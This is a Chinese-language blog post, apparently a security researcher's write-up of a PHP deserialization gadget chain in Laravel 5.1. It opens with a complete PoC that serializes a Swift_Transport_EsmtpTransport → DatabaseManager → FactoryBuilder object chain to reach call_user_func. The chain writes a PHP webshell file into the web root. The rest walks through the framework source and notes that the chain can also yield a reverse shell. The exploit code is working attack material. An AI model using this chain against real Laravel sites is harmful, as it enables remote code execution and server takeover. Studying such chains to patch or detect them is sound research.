前言
以后一些博客会放到这
https://fmyyy.gitee.io/
挖一整天才挖出这一条,主要是钻牛角尖了,逮着一个地方使劲找链子。
poc
先放poc吧
<?php
namespace Illuminate\Database\Eloquent {
class FactoryBuilder
{
protected $definitions;
protected $name;
protected $class;
protected $faker;
public function __construct(){
$this->name='fmyyy';
$this->class='fmyyy';
$this->faker = '/usr/local/var/www/la5.1/public/shell.php';
$this->definitions = array('fmyyy'=>array('fmyyy'=>'file_put_contents'));
}
}
}
namespace Illuminate\Database{
use Illuminate\Database\Eloquent\FactoryBuilder;
class DatabaseManager{
protected $app;
protected $factory;
public function __construct()
{
$this->factory = new FactoryBuilder();
$this->app = array('config'=>array('database.default'=>'fmyyy','database.connections'=>array('fmyyy'=>array('driver'=>'<?=phpinfo();?>'))));
}
}
}
namespace {
use Illuminate\Database\DatabaseManager;
class Swift_Transport_EsmtpTransport
{
private $_handlers;
protected $_started = true;
protected $_eventDispatcher;
public function __construct()
{
$this->_eventDispatcher = new DatabaseManager();
}
}
echo urlencode(serialize(new Swift_Transport_EsmtpTransport()));
}
poc分析。
我找的destruct方法是Swift_Transport_AbstractSmtpTransport类的
看一下他做了什么。
调用了该类的stop方法 看一下stop
箭头这里可以触发__call方法,之后找__call就可以了。
但这个类是一个抽象类,所以用他的子类Swift_Transport_EsmtpTransport。
之后是找__call方法。
我找到的是DatabaseManager类,看一下他的__call方法。
调用了该类的connection方法,看一下这个方法。
重点在于$this->makeConnection方法
可以看到最下面可以调用任意类的make方法。
但其实这里本身就有call_user_func方法,但这里的没办法利用,这个等一下说原因。
全局找make方法。
最后在FactoryBuilder里
该类的make调用了makeInstance
再看看makeInstance
可以看到call_user_func了,并且参数全可控。所以我们的链子就通了
一些细节
解答一下之前makeConnection方法里的call_user_func为啥不能用。我们看一下他的参数。
call_user_func($this->extensions[$name], $config, $name)
第一个参数extensions[$name]是可控的,没有问题,关键是第二个config参数,看一下这个参数是怎么来的。
protected function makeConnection($name)
{
$config = $this->getConfig($name);//这里来的
// First we will check by the connection name to see if an extension has been
// registered specifically for that connection. If it has we will call the
// Closure and pass it the config allowing it to resolve the connection.
if (isset($this->extensions[$name])) {
return call_user_func($this->extensions[$name], $config, $name);
}
$driver = $config['driver'];
// Next we will check to see if an extension has been registered for a driver
// and will call the Closure if so, which allows us to have a more generic
// resolver for the drivers themselves which applies to all connections.
if (isset($this->extensions[$driver])) {
return call_user_func($this->extensions[$driver], $config, $name);
}
return $this->factory->make($config, $name);
}
是该类的getConfig方法来的,看一下这个方法。
protected function getConfig($name)
{
$name = $name ?: $this->getDefaultConnection();
// To get the database connection configuration, we will just pull each of the
// connection configurations and get the configurations for the given name.
// If the configuration doesn't exist, we'll throw an exception and bail.
$connections = $this->app['config']['database.connections'];
if (is_null($config = Arr::get($connections, $name))) {
throw new InvalidArgumentException("Database [$name] not configured.");
}
return $config;
}
return的值是Arr::get方法的返回值,看一下这个方法
public static function get($array, $key, $default = null)
{
if (is_null($key)) {
return $array;
}
if (isset($array[$key])) {
return $array[$key];
}
foreach (explode('.', $key) as $segment) {
if (! is_array($array) || ! array_key_exists($segment, $array)) {
return value($default);
}
$array = $array[$segment];
}
return $array;
}
可以看到,不管怎么样,返回的都是一个数组。
所以这个call_user_func不是很好利用。但应该也有利用的方法,我比较懒就找下面的了。而且正好我们FactoryBuilder里的make方法需要数组作为参数不然就会报错,所以这个config就很好的符合我们的要求
但最后的makeInstance方法,因为第三个参数是数组,在执行时会报错。所以时没有回显的,但可以反弹shell或者写文件。
我poc里构造的相当于
class="php">call_user_func('file_put_contents','/usr/local/var/www/la5.1/public/shell.php','array('<?=phpinfo();?>')')
总结
不算很好的链子,利用复杂,构造的参数也很严苛。